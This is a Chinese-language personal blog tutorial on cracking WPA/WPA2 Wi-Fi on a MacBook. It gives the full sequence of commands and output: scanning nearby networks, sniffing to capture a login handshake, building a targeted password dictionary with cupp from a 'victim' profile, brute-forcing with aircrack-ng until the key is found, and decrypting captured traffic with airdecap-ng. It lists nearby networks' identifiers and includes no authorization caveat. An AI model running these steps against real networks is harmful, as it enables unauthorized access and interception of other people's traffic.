2020年的寒假過得屬實弟弟
我在家裏默默地刷安全牛的教程,最新刷到了“無線攻擊”這一章,雖然在學校的機器上安裝了Kali虛機,但是沒有Usb無線網卡。於是用MacBook嘗試了一下。
PS: 本文參考了網絡上衆多的文章,但是有我自己發揮的部分。由於現在絕大部分無線網絡的加密方法都是WPA、WPA2,弱點比較大的WEP我現在還沒碰到過,已經很少使用,而WPA、WPA2幾乎沒有弱點,想要破解只能暴力窮舉,理論上只要你的密碼設置的足夠複雜,就是不可破解的(但誰會把Wifi密碼設置的這麼複雜)
如何發現附近的網絡
這裏的發現網絡,不是單指如何獲得附近有哪些WiFi,而是附近有哪些WiFi,他們分別用的什麼加密密鑰。在Kali上實現這一點,我們需要使用airmon-ng來發現附近的WiFi,而MacBook自帶了強大的airport工具。
使用airport
爲了方便我們使用airport,先在命令行中執行以下命令:
sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport
上述命令讓我們可以在命令行直接輸入airport來使用它。
發現附近網絡
在命令行輸入:
airport -s
得到如下結果:
Princeling-Mac at /opt ❯ airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
FAST_236864 cc:34:29:23:68:64 -81 6,-1 Y -- WPA(PSK/AES/AES) WPA2(PSK/AES/AES)
FAST_20C20A 78:eb:14:20:c2:0a -77 12 Y -- WPA(PSK/TKIP,AES/TKIP) WPA2(PSK/TKIP,AES/TKIP)
FAST_11D9DC c0:61:18:11:d9:dc -59 7 Y -- WPA(PSK/TKIP,AES/TKIP) WPA2(PSK/TKIP,AES/TKIP)
iTV-KtYh 46:7b:bb:b9:c5:d0 -59 9 Y US WPA(PSK/TKIP,AES/TKIP)
ChinaNet-KtYh 44:7b:bb:a9:c5:d0 -59 9 Y US WPA(PSK/TKIP,AES/TKIP)
等待握手信號
事實上,我們的暴力窮舉不可能是不停的給路由器發送請求,這種做法吃力又不討好。網絡上有很多描述WPA破解原理的文章,可以去閱讀。簡單地說,我們需要偵聽到一個用戶的正確登錄,然後獲取登錄過程中的兩組密鑰,之後就可以離線破解了。
偵聽數據
airport en0 sniff 7
en0 是你的無線網卡,這個信息可以通過輸入
ifconfig
得到。
如果有很多網卡,選擇你用來連接Wifi的那個。
7 是上文中,發現附近網絡的CHANNEL列,需要和你想要破解的目標網絡一致。
運行該命令的時候,wifi的圖標會發生改變。
這個時候你的網絡連接也會斷開,按下ctrl+c結束偵聽。
分析數據
不可避免的,還是要安裝airmon-ng
brew install airmon-ng
安裝完成後:
aircrack-ng /tmp/airportSniffLbhZSp.cap
Princeling-Mac at /opt ❯ aircrack-ng /tmp/airportSniffLbhZSp.cap
Opening /tmp/airportSniffLbhZSp.cap
Read 8351 packets.
# BSSID ESSID Encryption
1 C0:61:18:11:D9:DC FAST_11D9DC WPA (1 handshake)
2 CC:34:29:23:68:64 FAST_236864 No data - WEP or WPA
Index number of target network ?
在抓包過程中,我用手機登錄了一下無線網FAST_11D9DC。可以看到airport已經抓到了一組握手數據。
在“Index number of target network ?”這裏輸入想要破解的wifi,由於2沒有握手數據,所以我們輸入1。
aircrack破解
aircrack-ng -w dict.txt -b c0:61:18:11:d9:dc /tmp/airportSniffLbhZSp.cap
dict.txt 是字典文件,c0:61:18:11:d9:dc 是發現附近網絡中的BSSID,/tmp/airportSniffLbhZSp.cap是數據包。
字典文件在哪兒?
1. 互聯網下載
在網絡上有很多人蒐集到的wifi字典,如果是公共場合,這些字典的命中率還是很高的。但是字典很龐大,暴力窮舉需要消耗很長時間。
2. 自己製作
如果是在家庭、私人場合的WiFi,字典的質量就顯得很重要。這裏推薦一個社工字典制作程序。可以去github搜索cupp下載。或者點擊直達
簡單演示一下cupp的使用。
python3 cupp.py -I
Princeling-Mac at ~/Documents/GitHub/cupp ❯ python3 cupp.py -I
___________
cupp.py! # Common
\ # User
\ ,__, # Passwords
\ (oo)____ # Profiler
(__) )\
||--|| * [ Muris Kurgas | [email protected] ]
[ Mebus | https://github.com/Mebus/]
[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)
> First Name: wanglei
> Surname:
> Nickname: princeling
> Birthdate (DDMMYYYY):
> Partners) name:
> Partners) nickname:
> Partners) birthdate (DDMMYYYY):
> Child's name:
> Child's nickname:
> Child's birthdate (DDMMYYYY):
> Pet's name:
> Company name:
> Do you want to add some key words about the victim? Y/[N]:
> Do you want to add special chars at the end of words? Y/[N]:
> Do you want to add some random numbers at the end of words? Y/[N]:
> Leet mode? (i.e. leet = 1337) Y/[N]:
[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to wanglei.txt, counting 68 words.
[+] Now load your pistolero with wanglei.txt and shoot! Good luck!
不知道就一路回車下去,填寫一些相關信息,就可以生成字典了。
然後用這個字典破解wifi內容。
如果你的字典中包含密碼,則會出現如下界面:
Aircrack-ng 1.5.2
[00:00:00] 8/1 keys tested (88.65 k/s)
Time left: 0 seconds 800.00%
KEY FOUND! [ 88888888 ]
Master Key : 26 FB 23 5F FE 0B 39 0A C1 12 F3 30 55 FF EE 02
CB 7E EA 13 B0 CE D6 7E BB 7E AA 52 1B EA 2E 02
Transient Key : 8D E6 57 44 42 BE 95 C2 EC 75 60 FA CA 1A 1A C1
C8 31 46 C4 4D DB 98 4D 34 D7 5A D0 15 9F BD 42
6C 9C 96 5C FC AE 24 39 83 1D A8 89 C7 71 F9 4A
64 D5 DA FB 24 7E 91 47 E6 35 DD 9A 87 A6 A2 5B
EAPOL HMAC : 8D 62 A3 8A 42 D1 68 EA 4B 89 FC FC B6 BC C9 AA
說明破解成功。
airdecap分析包
現在我們拿到了密碼。但是如果折騰了這麼半天,目的就是爲了蹭WiFi,感覺有點呆呆的。
有了WiFi的密碼,實際上我們可以對WiFi的數據包進行解包,工具就是airdecap。
這個時候再拿出剛剛抓取的數據包,用wireshark打開。
可以看到全都是802.11的協議,並且數據幀全都是加密的數據。
在命令行輸入:
airdecap-ng -e FAST_11D9DC -b c0:61:18:11:d9:dc -p 88888888 ./Downloads/11d9dc.cap
e是essid,b是bssid,p是破解出來的WiFi密碼。
運行成功後,會在目標目錄生成對應的dec文件。
再用WireShark打開,就能看到解密後的包內容了。